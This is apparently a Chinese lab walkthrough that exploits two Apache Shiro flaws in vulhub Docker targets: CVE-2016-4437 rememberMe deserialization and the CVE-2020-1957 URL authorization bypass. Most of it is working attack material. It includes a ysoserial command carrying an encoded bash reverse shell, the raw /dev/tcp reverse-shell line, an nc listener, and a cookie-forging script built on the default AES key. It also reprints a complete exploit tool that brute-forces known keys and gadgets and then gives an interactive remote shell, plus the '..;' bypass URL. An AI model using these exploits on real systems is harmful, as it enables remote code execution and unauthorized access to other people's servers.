赞
踩
在终端里进入事先进入准备好的vulhub靶场目录下,
cd vulhub-master/shiro/CVE-2016-4437/
sudo docker-compose up -d
执行命令后,看到如下图所示即为成功,此时可在浏览器中输入http://ip:8090,正常访问即为靶场启动成功。
Shiro提供了登录时记住我的功能。其流程为:
- 读取cookie中的rememberMe
- Base64解密
- AES解密
- 反序列化
从Shiro漏洞形成的原因看,是在开发过程中,没有对密钥进行更换,采用了默认的AES密钥或网上常用的密钥。攻击者通过构造恶意对象并通过密钥进行AES加密再经过Base64加密后,放在Cookie中提交,Shiro读取Cookie并解密,反序列化,进而导致任意命令执行。这就给了攻击者可乘之机,构造对应的 payload:
命令=>序列化=>AES加密=>Base64编码=>Cookie存储rememberMe
所以寻找存在 Shiro反序列化漏洞的方法,就是观察Cookie是否有用rememberMe进行存储,然后再用 payload 尝试,可以看到如下图所示,响应中Set-Cookie:rememberMe=deleteMe,故推测存在Shiro反序列化漏洞。
知道原理后我们就开始利用漏洞了,环境如下:
靶机:192.168.75.146
攻击机:192.168.75.144
手搓学习请参考:
首先我们生成编码,通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。
java.exe -cp ysoserial-sleep.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE0NC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
6666为端口号
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE0NC8xMjM0IDA+JjE=为下方Base64加密的值,对应换成你的攻击机的ip地址就行,目的是为了反弹shell:
bash -i >& /dev/tcp/192.168.75.144/1234 0>&1
然后加密一下我们的rememberMe指向的端口,脚本如下:
#shiro.py import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-sleep.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print("rememberMe={0}".format(payload.decode()))
然后执行:
python shiro.py 192.168.75.144:6666
将生成的rememberMe作为cookie,此时执行:
nc -lvp 1234
监听1234端口,然后再发包,就能成功反弹shell了。我参考文章后,没能成功,可能是我在windows的情况下吧。有哪个大佬看到了还望指引小弟一下,具体出错如下:
上面的博主写得也很详细了,大概流程也明白了,我这走不通就直接上别人写好的工具吧那就,
py源码如下:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # author: zhzyker # from: https://github.com/zhzyker/exphub import os import sys import re import base64 import uuid import subprocess import requests from Crypto.Cipher import AES if len(sys.argv)!=2: print('+-------------------------------------------------------------------------------------------------------+') print('+ DES: By zhzyker as https://github.com/zhzyker/exphub +') print('+ Vuln Name: CVE-2016-4437 | Shiro 550 | Shiro 1.2.4 +') print('+ +') print('+ Nc shell need encode command: http://www.jackson-t.ca/runtime-exec-payloads.html +') print('+ Original: bash -i >&/dev/tcp/1.1.1.1/233 0>&1 +') print('+ Encoding: bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvMjMzIDA+JjE=}|{base64,-d}|{bash,-i} +') print('+-------------------------------------------------------------------------------------------------------+') print('+ USE: python3 <filename> <url> +') print('+ EXP: python3 shiro-1.2.4_rce.py http://1.1.1.1:8080 +') print('+ VER: Apahce Shiro <= 1.2.4 +') print('+-------------------------------------------------------------------------------------------------------+') sys.exit() url = sys.argv[1] cmd_sleep = 'sleep-5' ysoserial = 'ysoserial-sleep.jar' gadget_list = ["CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Spring1","Spring2","Jdk7u21","ROME","Clojure"] key_list = ["kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", "4AvVhmFLUs0KTA3Kprsdag==", "5aaC5qKm5oqA5pyvAAAAAA==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "bWljcm9zAAAAAAAAAAAAAA==", "wGiHplamyXlVB11UXWol8g==", "Z3VucwAAAAAAAAAAAAAAAA=="] header = { 'User-agent' : 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36' } print ("[*] Testing gadget") for gadget in gadget_list: print ("[*] Check gadget: " + gadget) for key in key_list: popen = subprocess.Popen(['java', '-jar', ysoserial, gadget, cmd_sleep], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) payload = base64_ciphertext.decode() try: r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10) time = r.elapsed.seconds if time >= 5: key_succes = key gadget_succes = gadget print ("[+] Find gadget: " + gadget_succes) else: key_failed = key gadget_failed = gadget except: print ("[-] Check Failed: " + gadget) print ("[+] Find Key: " + key_succes) def exploit(url, cmd, key_succes, gadget_succes): if system == "linux": base64_cmd = base64.b64encode(str.encode(cmd)) cmd64 = base64_cmd.decode('ascii') command = "bash -c {echo," + cmd64 + "}|{base64,-d}|{bash,-i}" print ("[+] [Linux] Base64 Command: " + command) elif system == "windows": # print (gadget_succes) command = str(cmd) print ("[+] [Windows] Command:" + command) popen = subprocess.Popen(['java', '-jar', ysoserial, gadget_succes, command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key_succes), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) payload = base64_ciphertext.decode() try: r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10) if r.status_code == 200: print ("[+] Command Send Succes, Please Check (No Echo)") else: print ("[-] Command Send Failed, Please Check (No Echo)") except: print ("[-] Command Send Failed, Please Check (No Echo)") if key_succes: while 1: system = input("[*] System (linux or windows): ") if system == "linux": while 2: cmd = input("Shell >>> ") if cmd == "exit" : exit(0) exploit(url, cmd, key_succes, gadget_succes) elif system == "windows": while 3: cmd = input("Shell >>> ") if cmd == "exit" : exit(0) exploit(url, cmd, key_succes, gadget_succes) elif system == "exit": exit(0) else: print ("[-] The operating system is not recognized") else: print ("[-] Not Key, Not Gadget, Not vuln") sys.exit()
直接执行py工具:
python shiro-1.2.4_rce.py http://192.168.75.146:8080
执行后,要求我们输入linux或者windows,我们输入对应的靶机的系统版本即可,然后会要求我们输入Shell:
bash -i >& /dev/tcp/192.168.75.144/1234 0>&1
到此,Shiro漏洞就算介绍完毕了,感谢大家听我废话一堆。
建议好好学习Shiro原理,大厂面试必问。工具的话,github搜索就有。
Apache Shiro < 1.5.3
在Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,通过构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问。
客户端请求URL: /xxx/…;/admin/
Shrio 内部处理得到校验URL为 /xxx/…,校验通过
SpringBoot 处理 /xxx/…;/admin/, 最终请求 /admin/, 成功访问了后台请求。
名称 | IP |
---|---|
攻击机 | 192.168.75.162 |
靶机 | 192.168.75.146 |
首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8983即可
cd vulhub-master/shiro/CVE-2020-1957
docker-compose up -d
然后在浏览器中访问http://192.168.75.146:8080
我们正常流程登录进入后台,如下所示:
接下来我们退出登录并在URL中构造恶意请求:
http://192.168.75.146:8080/xxx/..;/admin/
发现访问成功!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。